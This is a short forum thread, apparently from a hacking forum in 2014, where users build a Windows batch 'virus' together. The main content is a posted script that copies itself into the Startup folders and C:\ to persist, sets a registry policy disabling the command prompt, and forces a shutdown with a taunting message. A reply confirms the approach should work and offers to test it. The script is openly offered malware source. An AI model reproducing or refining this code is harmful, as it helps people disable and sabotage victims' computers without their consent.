RE: Batch "Virus" 05-22-2014, 11:06 PM
#4
(05-22-2014, 10:36 PM)Fish Wrote:(05-22-2014, 10:31 PM)Firemonkey Wrote:Code:if exist {insert file name here} ( rem file exists ) else ( rem file doesn't exist )
Does "else" work in Batch? I was under the impression that it would be "if not" instead.
Thanks for the quick reply, btw
Edit:
How about something like this:
Code:Title name @echo off if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :2 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :1 :1 copy E:\name12.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat C:\* :2 REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f :3 shutdown -s -t 10 -c "Bye-bye, %username%!" exit
You can use else in batch (at least the last time I looked). The way you have it should work. I can test it later for you in a VM.

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)